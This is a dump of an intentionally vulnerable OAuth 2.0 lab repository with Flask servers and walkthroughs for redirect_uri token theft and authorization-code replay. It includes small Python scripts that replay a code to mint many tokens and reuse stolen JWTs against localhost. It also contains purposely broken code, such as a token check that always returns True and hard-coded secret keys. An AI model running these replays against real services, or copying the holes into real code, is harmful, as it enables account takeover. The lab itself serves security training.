├── Attacker
├── access.py
├── csrf.html
├── fetch_info.py
└── index.html
├── Documentation
├── Authorization_code_not_invalidated.md
├── Lab_Setup.md
├── Readme.md
└── redirect_uri_vuln.md
├── Exploit Script
├── Authorization_exploit.py
├── Verify_JWT.py
└── fetch_info.py
├── README.md
├── code
├── API_server
│ ├── API_server.py
│ ├── __pycache__
│ │ ├── auth.cpython-36.pyc
│ │ └── auth.cpython-37.pyc
│ ├── auth.py
│ ├── public.pem
│ └── templates
│ │ ├── Client_login.html
│ │ ├── Credentails.html
│ │ └── register.html
├── auth_server
│ ├── AC_auth_server.py
│ ├── \
│ ├── __pycache__
│ │ ├── auth.cpython-36.pyc
│ │ └── auth.cpython-37.pyc
│ ├── auth.py
│ ├── private.pem
│ └── templates
│ │ └── AC_grant_access.html
└── client
│ ├── AC_client.py
│ ├── public.pem
│ └── templates
│ ├── AC_login.html
│ ├── user_details.html
│ └── users.html
└── requirements.txt
/Attacker/access.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | session = requests.Session()
4 |
5 | paramsGet = {"authorization_code":"Z0FBQUFBQmROVnI2VUIycmtfZURvX1VkT1J4dkRKWjdKTlZ2R2NmRlJ5Vi1SN1ozbXkyZ1BBX2NjMktva0xVX3JjaWFVcXc1bTZ2ODdDWWZsaXhXeHI2Vm5McDdQMF8xd3NOUVNWTGlKYnNWUzBreDdVUDl4cmRjRE52TE5jZDVjRTBpYTNIMUdNS1dZUVdZTUgxUE90ZGF2ZGRyUTVEOUxRPT0"}
6 |
7 | headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0","Referer":"http://51a6a3e1.ngrok.io//auth?response_type=code&client_id=testing.com&redirect_url=http://51a6a3e1.ngrok.io/callback","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
8 | response = session.get("http://localhost:5000/callback", params=paramsGet, headers=headers)
9 |
10 | print("Status code: %i" % response.status_code)
11 | print("Response body: %s" % response.content)
12 |
13 |
--------------------------------------------------------------------------------
/Attacker/csrf.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |

6 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/Attacker/fetch_info.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | session = requests.Session()
4 |
5 | headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0","Referer":"http://localhost:5001/auth?response_type=code&client_id=testing.com&redirect_url=http://localhost:5000/callback","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
6 |
7 | cookies = {"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InBhdmFuLmt1bWFyQHdlNDUuaW4iLCJpc3MiOiJzYW1wbGUtYXV0aC1zZXJ2ZXIiLCJleHAiOjE1NjM3ODE3OTAuNTEyNDI0Mn0.CACy4iwbRkS47lYIkN9tz8wfiNVTafItonphO6B6yBnK8u8M5VI3nIXL9197DsJn4-5oTXsPkWZXmcZfwX7WG0-Escol1mGeJ9YUIHAgPyUYRPsofTUxSRYrB5F40txV4lGdas0887L8TckiK4bhcFy2H_1HsfG-CU2T8xAjrK2Dk2Ihh898GuZMrH7i9IY91VBie0YcOGdsCYqfx0UyM2cO8EJDLyEiJvN_DSfXZ4sD3vA4X81nO0Up9VombSL5jzKyhFeg7JjG8LYMyroiPmlJU6pBleXMC0vmRg4JGmiH1Xv1D1c1415cFbasI1WdBkvU8-yONSn_7reSbW0ZMw"}
8 | response = session.get("http://localhost:5000/", headers=headers, cookies=cookies)
9 |
10 | print("Status code: %i" % response.status_code)
11 | print("Response body: %s" % response.content)
12 |
13 |
--------------------------------------------------------------------------------
/Attacker/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
10 |
11 |
12 |
13 |

14 |
19 |
20 |
--------------------------------------------------------------------------------
/Documentation/Authorization_code_not_invalidated.md:
--------------------------------------------------------------------------------
1 |
2 | # Generating 'N' number of access tokens usng
3 |
4 | ### OAuth2 API makes it possible for users to grant access to their accounts with autorization server. When some user denies access for the application, all access_tokens are being revoked and become invalid. But not only access_tokens should be revoked, authorization codes (it is intermediate token used in OAuth2 Authorization Flow) must be revoked too. In this vulnerable application implementation does not revoke authorization code during access revocation. It may be exploited to restore access to user's account by malicious application after access revocation.
5 |
6 | ### Use the Burp to intercept the request
7 |
8 | #### Step 1:
9 | > Visit Client applicaiton
10 |
11 | ```
12 | Visit locahost:5000 and click on Signin with authorization.
13 | ```
14 | #### Step 2:
15 | > Signin with registerd credentails.
16 |
17 | ```
18 | Enter the credetials and click on signin.
19 |
20 | Before you click on signin, intercept the request.
21 | ```
22 | #### Step 3:
23 | > Copy the Authorization_code and the URL
24 | ```
25 | Intercept the callback request and copy the authorization code and the URL
26 | Example: http://localhost:5000/callback?authorization_code=Z0FBQUFBQmN3RkFWMjJzNUxCdmVHZzZBaEI4Um82TUdNemJnWDhyRW1WeHRHSmZncS1jNmV1bEtlWmFGSU9aM053MWpaOGZ0TXBER3BESHhXQlNiV3lVVS1VNEo0ZTFuNzVkT0dlb1lKRUFsb0NoeUlEVXJNMl9pTS1UQ1U1cFJndmxMbldjZ0lIekhDRzYydy1EWUlNRXpmVEl0Sl94MURyN2RETHhmRS04dnVYQVk0LVZJYWF3Yms1UWg5VDUwdm1BcWtkempTWWRxQW5FNXJvSHJRZ3RuMU9yajFVRDJNdz09"
27 | ```
28 | #### Step 4:
29 | > By using Authorization_Exploit script we can generate 'N' number of access token .
30 |
31 | ```
32 | Change the authorization code and URL in the script.
33 | ```
34 |
--------------------------------------------------------------------------------
/Documentation/Lab_Setup.md:
--------------------------------------------------------------------------------
1 | ### Step 1:
2 | > Run the MongoDB service from system or docker hub
3 |
4 | `Issue the following command to start MongoDB from system(For Ubuntu systems)`
5 |
6 |
7 | ```
8 | sudo service mongod start
9 | ```
10 |
11 | `Issue the following command to start the mongo server instance`
12 |
13 | ```
14 | docker run --name db_mongo -p 27017:27017 mongo
15 | ````
16 | ### Step 2:
17 | >Create a database with name ‘OAuth’
18 |
19 | ```
20 | use OAuth
21 | ```
22 |
23 | ### Step 3: Download the Vulnerable app
24 | > Download the vulnerable code app from git repo URL
25 |
26 | ```
27 | github url
28 | ```
29 |
30 | ### Step 4: Installing and Setting up python 3 virtual environment
31 |
32 | >Install Virtual environment and python3-venv package
33 | ```
34 | sudo pip3 install virtualenv
35 | apt-get install python3-venv
36 | ```
37 | >create the virtual environment
38 |
39 | ```
40 | python3 -m venv envpy3
41 | ```
42 |
43 | >Activate the created virtual environment
44 |
45 | ```
46 | source envpy3/bin/activate
47 | ```
48 | > install required packages
49 | ```
50 | pip install -r requirements.txt
51 | ```
52 | ### Step 5: Run the Vulnerable app
53 | >Run an API server on the activated virtual environment
54 | ```
55 | python ~/OAuth_vuln_app/AC/API_server/API_server.py
56 | ```
57 | >Run an authorization server in an another terminal
58 | ```
59 | source envpy3/bin/activate
60 | python ~/OAuth_vuln_app/AC/API_server/AC_auth_server.py
61 | ```
62 |
63 | >Run client application in another terminal
64 | ```
65 | source envpy3/bin/activate
66 | python ~/OAuth_vuln_app/AC/API_server/AC_client.py
67 | ```
68 | ### Step 6: Register the user in Authorization Server
69 | > Register and login in the API server for Client ID and Client Secret
70 |
71 | ```
72 | http://localhost:5002/register
73 | ```
74 | >Now login with credentials
75 | ```
76 | http://localhost:5002/
77 | ```
78 | >Now copy the Client Secret and replace the CLIENT_SECRET in AC_Client.py
79 |
80 | > Lab setup process is completed.
--------------------------------------------------------------------------------
/Documentation/Readme.md:
--------------------------------------------------------------------------------
1 | # OAuth Vulnerable Application Lab Setup
2 |
3 | #### OAuth 2 is an authorization framework that enables applications to obtain limited access to user accounts on an HTTP service, such as Facebook, GitHub, and DigitalOcean. It works by delegating user authentication to the service that hosts the user account, and authorizing third-party applications to access the user account. OAuth 2 provides authorization flows for web and desktop applications, and mobile devices.
4 |
5 | #### I have created own Client application, Authorization server and Resource Server.
6 |
7 | #### The Client applicaiton runs on 5000 port, Authorization server on 5001 and Resource server on 5002.
8 | ####
9 |
10 | ## Prerequisites for the lab setup
11 | * Python 3
12 | * MongoDB
13 |
14 | ### Step 1:
15 | > Run the MongoDB service from system or docker hub
16 |
17 | `Issue the following command to start MongoDB from system(For Ubuntu systems)`
18 |
19 |
20 | ```
21 | sudo service mongod start
22 | ```
23 |
24 | `Issue the following command to start the mongo server instance`
25 |
26 | ```
27 | docker run --name db_mongo -p 27017:27017 mongo
28 | ````
29 | ### Step 2:
30 | >Create a database with name ‘OAuth’
31 |
32 | ```
33 | use OAuth
34 | ```
35 |
36 | ### Step 3: Download the Vulnerable app
37 | > Download the vulnerable code app from git repo URL
38 |
39 | ```
40 | github url
41 | ```
42 |
43 | ### Step 4: Installing and Setting up python 3 virtual environment
44 |
45 | >Install Virtual environment and python3-venv package
46 | ```
47 | sudo pip3 install virtualenv
48 | apt-get install python3-venv
49 | ```
50 | >create the virtual environment
51 |
52 | ```
53 | python3 -m venv envpy3
54 | ```
55 |
56 | >Activate the created virtual environment
57 |
58 | ```
59 | source envpy3/bin/activate
60 | ```
61 | > install required packages
62 | ```
63 | pip install -r requirements.txt
64 | ```
65 | ### Step 5: Run the Vulnerable app
66 | >Run an API server on the activated virtual environment
67 | ```
68 | python ~/OAuth_vuln_app/AC/API_server/API_server.py
69 | ```
70 | >Run an authorization server in an another terminal
71 | ```
72 | source envpy3/bin/activate
73 | python ~/OAuth_vuln_app/AC/API_server/AC_auth_server.py
74 | ```
75 |
76 | >Run client application in another terminal
77 | ```
78 | source envpy3/bin/activate
79 | python ~/OAuth_vuln_app/AC/API_server/AC_client.py
80 | ```
81 | ### Step 6: Register the user in Authorization Server
82 | > Register and login in the API server for Client ID and Client Secret
83 |
84 | ```
85 | http://localhost:5002/register
86 | ```
87 | >Now login with credentials
88 | ```
89 | http://localhost:5002/
90 | ```
91 | >Now copy the Client Secret and replace the CLIENT_SECRET in AC_Client.py
92 |
93 | > Lab setup process is completed.
94 |
95 | #### Vulnerability Demo
96 |
97 | * Stealing Users OAUTH Tokens via redirect_uri
98 | * Authorization code not invalidated
99 |
--------------------------------------------------------------------------------
/Documentation/redirect_uri_vuln.md:
--------------------------------------------------------------------------------
1 |
2 | # Stealing Users OAUTH Tokens via redirect_uri
3 | > Open redirection on oauth redirect_uri which can lead to users
4 | oauth tokens being leaked to any malicious user.
5 |
6 | #### Step 1:
7 | > Tamper the redirect_uri ad chnage it to attacker malicious website
8 |
9 | ```
10 | Visit localhost:5000
11 | ```
12 | #### Step 2:
13 | > Now use the Burp to intercept the request
14 |
15 | ```
16 | Click on Signin with authorization and intercept the request.
17 |
18 | Tamper and change the redirect_uri value to malicious attaker website.
19 | ```
20 | #### Step 3:
21 | > Now Signin with registered credentials
22 | > Once the signin completed it will be redirected to malicious webiste with access token
23 |
--------------------------------------------------------------------------------
/Exploit Script/Authorization_exploit.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | b = 0
4 | for i in range(100):
5 | url = "http://localhost:5000/callback?authorization_code=Z0FBQUFBQmROV01faFktaGdLbVlpV0xlT3JGUGxMM25vNURqSHpQMmFuZXhxX1RXa0ZYa2xoMnk0SHNwa0F0VzVhZnZqOFFuaWpfampsblVsSVhNXzk3SGRrVW15bUE5SkY1MWpRb2h0R3hfZU9iM1JMM1dkRC1KNUxVZlBMTWxqUldhd2R2STRQcVdIaWl5NU9tbERMdVBaSWNaT1BrSjBRPT0"
6 | session = requests.Session()
7 | response = session.get(url)
8 | data = session.cookies.get_dict()
9 | a = data.get('access_token')
10 | b = b + 1
11 | print(a)
12 | file = open('data.txt', 'a')
13 | file.write("%s\n" % a)
14 | # file.writelines('\n')
15 | # file.writelines(a)
16 | # file.writelines('\n')
17 | file.close
--------------------------------------------------------------------------------
/Exploit Script/Verify_JWT.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | session = requests.Session()
4 |
5 | f = open('data.txt')
6 | for line in f:
7 | pavan = line.strip()
8 | # print(pavan)
9 | cookies = {"access_token":pavan}
10 | headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0","Referer":"http://localhost:5001/auth?response_type=code&client_id=testing.com&redirect_url=http://localhost:5000/callback","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
11 |
12 | # print(cookies)
13 | response = session.get("http://localhost:5000/", headers=headers, cookies=cookies)
14 |
15 | print("Status code: %i" % response.status_code)
16 | # print("Response body: %s" % response.content)
17 |
--------------------------------------------------------------------------------
/Exploit Script/fetch_info.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | session = requests.Session()
4 |
5 | headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0","Referer":"http://localhost:5001/auth?response_type=code&client_id=testing.com&redirect_url=http://localhost:5000/callback","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
6 |
7 | cookies = {"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InBhdmFuLmt1bWFyQHdlNDUuaW4iLCJpc3MiOiJzYW1wbGUtYXV0aC1zZXJ2ZXIiLCJleHAiOjE1NjM3ODE3OTAuNTEyNDI0Mn0.CACy4iwbRkS47lYIkN9tz8wfiNVTafItonphO6B6yBnK8u8M5VI3nIXL9197DsJn4-5oTXsPkWZXmcZfwX7WG0-Escol1mGeJ9YUIHAgPyUYRPsofTUxSRYrB5F40txV4lGdas0887L8TckiK4bhcFy2H_1HsfG-CU2T8xAjrK2Dk2Ihh898GuZMrH7i9IY91VBie0YcOGdsCYqfx0UyM2cO8EJDLyEiJvN_DSfXZ4sD3vA4X81nO0Up9VombSL5jzKyhFeg7JjG8LYMyroiPmlJU6pBleXMC0vmRg4JGmiH1Xv1D1c1415cFbasI1WdBkvU8-yONSn_7reSbW0ZMw"}
8 | response = session.get("http://localhost:5000/", headers=headers, cookies=cookies)
9 |
10 | print("Status code: %i" % response.status_code)
11 | print("Response body: %s" % response.content)
12 |
13 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Vulnerable-OAuth2.0-Application
2 | >OAuth 2 is an authorization framework that enables applications to obtain limited access to user accounts on an HTTP service, such as Facebook, GitHub, and DigitalOcean. It works by delegating user authentication to the service that hosts the user account, and authorizing third-party applications to access the user account. OAuth 2 provides authorization flows for web and desktop applications, and mobile devices.
3 |
4 | ### Components
5 |
6 | * Client application
7 | * It runs on 5000 port
8 | * Authorization server
9 | * It runs on 5001 port
10 | * Resource Server
11 | * It runs on 5002 port
12 |
13 | ### Prerequisites
14 |
15 | * Python 3
16 | * MongoDB
17 |
18 | [Getting Started](Documentation/Lab_Setup.md)
19 |
20 | ### List of Exploitations
21 |
22 | * [Stealing Users OAUTH Tokens via redirect_uri](Documentation/redirect_uri_vuln.md)
23 | * [Authorization code not invalidated](Documentation/Authorization_code_not_invalidated.md)
24 |
25 |
26 | ## Start Labs
27 | * Pull vulnerable `oauth2.0` docker container
28 |
29 | ``` docker pull topavankumarj/oauth2.0_vuln_app```
30 |
31 | * Run `mongoDB` database
32 |
33 | ``` docker run -d --link db_mongo:db_mongo -p 5000:5000 -p 5001:5001 -p 5002:5002 topavankumarj/oauth2.0_vuln_app```
34 |
35 | ## For more information
36 |
37 | ### Slides: [ Security For OAuth : How To Handle Protected Data ](https://www.slideshare.net/PavanKumar1220/security-for-oauth-20-topavankumarj/PavanKumar1220/security-for-oauth-20-topavankumarj)
--------------------------------------------------------------------------------
/code/API_server/API_server.py:
--------------------------------------------------------------------------------
1 | import json
2 | from pymongo import MongoClient
3 | import uuid
4 | #import ssl
5 | import requests
6 | from auth import verify_access_token
7 | from flask import Flask, request, jsonify, redirect, render_template, Response,request, make_response, url_for
8 | from functools import wraps
9 | from werkzeug.security import gen_salt, generate_password_hash, check_password_hash
10 | import jwt
11 | import datetime
12 | import base64
13 |
14 | app = Flask(__name__)
15 | app.config['SECRET_KEY'] = 'pavankumar'
16 |
17 | client = MongoClient('db_mongo:27017')
18 | db = client.OAuth
19 |
20 |
21 | cred_PATH = 'http://localhost:5002/credentials'
22 |
23 | ISSUER = 'sample-auth-server'
24 |
25 | with open('/OAuth_Vuln/API_server/public.pem', 'rb') as f:
26 | public_key = f.read()
27 |
28 |
29 | def token_required(f):
30 | @wraps(f)
31 | def decorated(*args, **kwargs):
32 | auth_header = request.headers.get('Authorization','')
33 | if auth_header:
34 | label, token = auth_header.split('Bearer ')
35 | verified = verify_access_token(token)
36 | if not verified:
37 | return jsonify({'error':'Invalid token!'})
38 | else:
39 | return redirect('/login')
40 | return f(*args, **kwargs)
41 | return decorated
42 |
43 | @app.route('/users', methods = ['GET'])
44 | @token_required
45 | def get_user():
46 | print(request.headers)
47 | cursor = db.Register.find()
48 | users = []
49 | for document in cursor:
50 | user_data = {}
51 | Name = document.get('Name')
52 | Email = document.get('Email')
53 | user_data = { 'Name': Name, 'email': Email}
54 | users.append(user_data)
55 | print(users)
56 |
57 | return json.dumps({
58 | 'results': users
59 | })
60 |
61 | # =================================== Client Login functions ==============================================
62 |
63 | def token_required1(f):
64 | @wraps(f)
65 | def decorated(*args, **kwargs):
66 | token = request.cookies.get('access_token')
67 | print('printing access token in token function ====> ',token)
68 | if not token:
69 | return jsonify({"messege":"Token missing in header"}), 401
70 | token_data = jwt.decode(token.encode(), key=app.config['SECRET_KEY'],algorithms='HS256')
71 | print('token data ========> ', token_data)
72 | try:
73 | current_user = db.Register.find_one({"ID":token_data.get('ID')})
74 | print("current user details", current_user)
75 | except:
76 | return jsonify({"msg":"Invalid Token"})
77 | return f(current_user, *args, **kwargs)
78 | return decorated
79 |
80 | @app.route('/', methods = ['GET'])
81 | def home():
82 | return render_template('Client_login.html')
83 |
84 | @app.route('/client')
85 | @token_required1
86 | def main(user_id):
87 | print('==================== Client ===========================')
88 | print('after token function')
89 | access_token = request.cookies.get('access_token')
90 | print('access token ===> ', access_token)
91 |
92 | r = requests.get(cred_PATH, cookies = {
93 | 'access_token': access_token
94 | })
95 | print('==================== after credentails fuction===========================')
96 | if r.status_code != 200:
97 | return json.dumps({
98 | 'error': 'The resource server returns an error: \n{}'.format(
99 | r.text)
100 | }), 500
101 | print("data from credentials",r.text)
102 | print('*'*100)
103 | cli_data = json.loads(r.text).get('results')
104 | print('Credentails ============> ',cli_data)
105 | for cli in cli_data:
106 | print(cli)
107 |
108 | return render_template('Credentails.html', cli_data = cli_data)
109 |
110 | @app.route("/client/login", methods = ['POST'])
111 | def client_login():
112 | form = request.form
113 | username = form.get('username')
114 | password = form.get('password')
115 | if not username or not password:
116 | return jsonify({"messege":"sorry"})
117 | data = db.Register.find_one({"Email":username})
118 | if data:
119 | authenticated = check_password_hash(data.get('Password'), password)
120 | if not authenticated:
121 | return jsonify({"error":"Invaid creds!"})
122 | else:
123 | token = jwt.encode({"ID":data.get('ID'), "exp":datetime.datetime.utcnow()+datetime.timedelta(minutes=30)}, key=app.config["SECRET_KEY"],algorithm='HS256')
124 | print("login successfull==========> ", token)
125 | response = make_response(redirect(url_for('main')))
126 | response.set_cookie('access_token', token)
127 | return response
128 | else:
129 | return jsonify({"messege":"No user found!"})
130 |
131 | @app.route("/credentials", methods = ['GET'])
132 | @token_required1
133 | def cred(user_id):
134 | cred_data = []
135 | print('====================Client credentials function===========================')
136 | client.user_id = user_id.get('ID' )
137 | print("user ID===> ",user_id)
138 | if not db.Oauth2_cred.find_one({"ID":user_id.get('ID')}):
139 | print("User details ===> ",client.user_id)
140 | client.client_id = "testing.com"
141 | print("Client ID ===> ",client.client_id)
142 | if client.token_endpoint_auth_method == 'none':
143 | client.client_secret = ''
144 | else:
145 | client.client_secret = base64.b64encode(gen_salt(12).encode() + client.user_id.encode()).decode()
146 | db.Oauth2_cred.insert_one({
147 | "ID" : client.user_id,
148 | "Client_ID" : client.client_id,
149 | "Client_Secret" : client.client_secret
150 | })
151 | cli_data = {'Client_ID':client.client_id,'Client_Secret':client.client_secret}
152 | cred_data.append(cli_data)
153 | return json.dumps({'results': cred_data})
154 | else:
155 | client_data = db.Oauth2_cred.find_one({"ID":user_id.get('ID')})
156 | cli_data = {'Client_ID':client_data.get('Client_ID'),'Client_Secret':client_data.get('Client_Secret')}
157 | cred_data.append(cli_data)
158 | return json.dumps({'results': cred_data})
159 |
160 |
161 | @app.route('/register', methods = ['GET'])
162 | def home_register():
163 | return render_template('register.html')
164 |
165 | @app.route("/client/register", methods = ['POST'])
166 | def register():
167 | form = request.form
168 | name = form.get('name')
169 | email = form.get('email')
170 | password = form.get('password')
171 | print('registration details ===>',request.form)
172 | hashed_pwd = generate_password_hash(password, method='sha256')
173 | print(hashed_pwd)
174 | db.Register.insert_one({
175 | "ID" : str(uuid.uuid4()),
176 | "Name" : name,
177 | "Email" : email,
178 | "Password" : hashed_pwd
179 | })
180 | response = make_response(redirect(url_for('home')))
181 | return response
182 |
183 | @app.route("/user_details", methods = ['GET'])
184 | @token_required
185 | def src_user():
186 | users_data = []
187 | auth_header = request.headers.get('Authorization','')
188 | label,token = auth_header.split('Bearer ')
189 | print('Token data ==========> ',token)
190 | token_data = jwt.decode(token, public_key, issuer = ISSUER,
191 | algorithm = 'RS256')
192 | user_id = token_data.get("username")
193 | print("user_ID from token data=========> ",user_id)
194 | collection = db['Register']
195 | cursor = collection.find({})
196 | for document in cursor:
197 | print('Document data ===========> ',document)
198 | us_id = document.get('Email' )
199 | print('Email details from docu',us_id)
200 | if document.get('Email' ) == user_id:
201 | user_data = {'Name':document.get('Name' ),'Email':document.get('Email' ),'UUID':document.get('ID')}
202 | users_data.append(user_data)
203 | return json.dumps({'results': users_data})
204 | return jsonify({'message': 'User not found'})
205 |
206 | if __name__ == '__main__':
207 | #context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
208 | #context.load_cert_chain('domain.crt', 'domain.key')
209 | #app.run(port = 5000, debug = True, ssl_context = context)
210 | app.run(port = 5002, host='0.0.0.0', debug = True)
211 |
--------------------------------------------------------------------------------
/code/API_server/__pycache__/auth.cpython-36.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/topavankumarj/Vulnerable-OAuth2.0-Application/a4b01437cbb43276571e75a7c883c8439fc4bc31/code/API_server/__pycache__/auth.cpython-36.pyc
--------------------------------------------------------------------------------
/code/API_server/__pycache__/auth.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/topavankumarj/Vulnerable-OAuth2.0-Application/a4b01437cbb43276571e75a7c883c8439fc4bc31/code/API_server/__pycache__/auth.cpython-37.pyc
--------------------------------------------------------------------------------
/code/API_server/auth.py:
--------------------------------------------------------------------------------
1 | import cryptography
2 | import jwt
3 |
4 | ISSUER = 'sample-auth-server'
5 |
6 | with open('/OAuth_Vuln/API_server/public.pem', 'rb') as f:
7 | public_key = f.read()
8 |
9 | def verify_access_token(access_token):
10 | try:
11 | decoded_token = jwt.decode(access_token, public_key,
12 | issuer = ISSUER,
13 | algorithm = 'RS256',**{"verify_exp":False})
14 | # except (jwt.exceptions.InvalidTokenError,
15 | # jwt.exceptions.InvalidSignatureError,
16 | # jwt.exceptions.InvalidIssuerError,
17 | # jwt.exceptions.ExpiredSignatureError)
18 | except Exception as e:
19 | print("Error",e)
20 | return True
21 |
22 | return True
23 |
--------------------------------------------------------------------------------
/code/API_server/public.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PUBLIC KEY-----
2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqt6NInZQ8Ty9wfprXhPx
3 | G16zV7Svd2DhJ3j6ZS/zfkThSeuo11fTcoxt8MaI5orORQDfRKLtwlYd9KnDR93Y
4 | I6JFyPDEzAoXkW9RRig2NiOHoOR368mu7NbA2R3F8jqIER42R24/AKUTkU9LPjus
5 | KZBUcADImLg9698GM5125x2s4j2U+T68jERRO4iEIPG9dVK98Y+vZ8XN29kb4AOK
6 | OtkO4ZFCrN2R6GbpvACShgczMgxgb4q3BZnB/RVkRFv4sW0AdO5jie7WKpP8XHeT
7 | 3eifdt77uhoLjUSvpqs6VLYAc9xEpxCmzu63XNqVV7S8Qnzs05wyJk5LytdtEnnH
8 | XwIDAQAB
9 | -----END PUBLIC KEY-----
10 |
--------------------------------------------------------------------------------
/code/API_server/templates/Client_login.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Client Login
5 |
6 |
7 |
16 |
21 |
--------------------------------------------------------------------------------
/code/API_server/templates/Credentails.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Client Credentials (Web Application)
5 |
6 |
7 | Client Credentials
8 |
9 |
10 | {% for cli in cli_data %}
11 |
12 | Cleint_ID |
13 |
14 |
15 | {{ cli['Client_ID'] }} |
16 |
17 |
18 | Cleint_Secret |
19 |
20 |
21 | {{ cli['Client_Secret'] }} |
22 |
23 |
24 | {% endfor %}
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/code/API_server/templates/register.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Client Login
5 |
6 |
7 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/code/auth_server/AC_auth_server.py:
--------------------------------------------------------------------------------
1 | import json
2 | #import ssl
3 | from urllib.parse import urlparse, parse_qsl, urlunparse, urlencode
4 | from werkzeug.security import generate_password_hash, check_password_hash
5 |
6 | from auth import (authenticate_user_credentials, authenticate_client,
7 | generate_access_token, generate_authorization_code,
8 | verify_authorization_code, verify_client_info,
9 | JWT_LIFE_SPAN)
10 | from flask import Flask, redirect, render_template, request,jsonify
11 | from cryptography.fernet import Fernet
12 |
13 | KEY = b'YHD1m3rq3K-x6RxT1MtuGzvyLz4EWIJAEkRtBRycDHA='
14 |
15 | app = Flask(__name__)
16 | app.config["DEBUG"] = True
17 | app.config['SECRET_KEY'] = 'pavankumar'
18 |
19 | # client = MongoClient('127.0.0.1:27017')
20 | # # db = client.OAuth
21 |
22 | f = Fernet(KEY)
23 |
24 | @app.route('/auth')
25 | def auth():
26 | # Describe the access request of the client and ask user for approval
27 | client_id = request.args.get('client_id')
28 | redirect_url = request.args.get('redirect_url')
29 |
30 | if None in [ client_id, redirect_url ]:
31 | return json.dumps({
32 | "error": "invalid_request"
33 | }), 400
34 |
35 | if not verify_client_info(client_id, redirect_url):
36 | return json.dumps({
37 | "error": "invalid_client"
38 | })
39 |
40 | return render_template('AC_grant_access.html',
41 | client_id = client_id,
42 | redirect_url = redirect_url)
43 |
44 | def process_redirect_url(redirect_url, authorization_code):
45 | # Prepare the redirect URL
46 | url_parts = list(urlparse(redirect_url))
47 | queries = dict(parse_qsl(url_parts[4]))
48 | queries.update({ "authorization_code": authorization_code })
49 | url_parts[4] = urlencode(queries)
50 | url = urlunparse(url_parts)
51 | return url
52 |
53 | @app.route('/signin', methods = ['POST'])
54 | def signin():
55 | # Issues authorization code
56 | username = request.form.get('username')
57 | password = request.form.get('password')
58 | client_id = request.form.get('client_id')
59 | redirect_url = request.form.get('redirect_url')
60 |
61 | if None in [ username, password, client_id, redirect_url ]:
62 | return json.dumps({
63 | "error": "invalid_request"
64 | }), 400
65 |
66 | if not verify_client_info(client_id, redirect_url):
67 | return json.dumps({
68 | "error": "invalid_client"
69 | })
70 |
71 | if not authenticate_user_credentials(username, password):
72 | # return data
73 | return json.dumps({
74 | 'error': 'access_denied'
75 | }), 401
76 |
77 | authorization_code = generate_authorization_code(client_id, username)
78 |
79 | url = process_redirect_url(redirect_url, authorization_code)
80 |
81 | return redirect(url, code = 303)
82 |
83 | @app.route('/token', methods = ['POST'])
84 | def exchange_for_token():
85 | # Issues access token
86 | authorization_code = request.form.get('authorization_code')
87 | client_id = request.form.get('client_id')
88 | client_secret = request.form.get('client_secret')
89 | redirect_url = request.form.get('redirect_url')
90 |
91 | if None in [ authorization_code, client_id, client_secret, redirect_url ]:
92 | return json.dumps({
93 | "error": "invalid_request"
94 | }), 400
95 |
96 | if not authenticate_client(client_id, client_secret):
97 | return json.dumps({
98 | "error": "invalid_client"
99 | }), 400
100 |
101 | data = verify_authorization_code(authorization_code, client_id)
102 | if data == "False":
103 | return json.dumps({
104 | "error": "access_denied"
105 | }), 400
106 | access_token = generate_access_token(data)
107 |
108 | return json.dumps({
109 | "access_token": access_token.decode(),
110 | "token_type": "JWT",
111 | "expires_in": JWT_LIFE_SPAN
112 | })
113 |
114 |
115 | if __name__ == '__main__':
116 | #context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
117 | #context.load_cert_chain('domain.crt', 'domain.key')
118 | #app.run(port = 5000, debug = True, ssl_context = context)
119 | app.run(port = 5001, host='0.0.0.0', debug = True)
120 |
--------------------------------------------------------------------------------
/code/auth_server/\:
--------------------------------------------------------------------------------
1 | import json
2 | #import ssl
3 | from urllib.parse import urlparse, parse_qsl, urlunparse, urlencode
4 | from werkzeug.security import generate_password_hash, check_password_hash
5 |
6 | from auth import (authenticate_user_credentials, authenticate_client,
